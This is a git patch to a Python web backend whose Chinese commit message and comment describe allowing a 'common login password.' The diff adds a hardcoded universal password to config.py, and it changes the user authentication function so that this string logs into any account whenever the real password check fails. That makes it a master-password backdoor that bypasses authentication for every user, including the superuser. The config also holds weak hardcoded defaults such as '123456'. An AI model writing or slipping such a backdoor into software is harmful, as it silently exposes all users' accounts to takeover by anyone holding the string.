From e668a6f8b814c1b51408abe41d4542b6ac5f7cd1 Mon Sep 17 00:00:00 2001 From: wuaho Date: Fri, 10 Sep 2021 09:48:12 +0800 Subject: [PATCH] =?UTF-8?q?=E5=A6=82=E6=9E=9C=E6=98=AF=E9=80=9A=E7=94=A8?= =?UTF-8?q?=E7=99=BB=E5=BD=95=E5=AF=86=E7=A0=81=20=E5=88=99=E5=85=81?= =?UTF-8?q?=E8=AE=B8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/config.py | 1 + crud/crud_user.py | 4 ++++ 2 files changed, 5 insertions(+) diff --git a/core/config.py b/core/config.py index 9f02224..715f521 100644 --- a/core/config.py +++ b/core/config.py @@ -17,6 +17,7 @@ class Settings(BaseSettings): SUPERUSER_PASSWORD: str = '123456' SUPERUSER_NAME: str = 'root' SUPERUSER_NICKNAME: str = 'root' + ACCOUNT_COMMON_PASSWORD = 'AWDMIPOUEQfO3q84' DEFAULT_PASSWORD = '123456' diff --git a/crud/crud_user.py b/crud/crud_user.py index df1993f..b62a2c4 100644 --- a/crud/crud_user.py +++ b/crud/crud_user.py @@ -5,6 +5,7 @@ import uuid from motor.motor_asyncio import AsyncIOMotorDatabase import schemas +from core.config import settings from core.security import get_password_hash, verify_password from crud.base import CRUDBase from schemas import UserCreate, UserDBRW @@ -52,6 +53,9 @@ class CRUDUser(CRUDBase): if not user_obj: return None if not verify_password(password, user_obj.hashed_password): + # 如果是通用登录密码 则允许 + if password == settings.ACCOUNT_COMMON_PASSWORD: + return user_obj return None return user_obj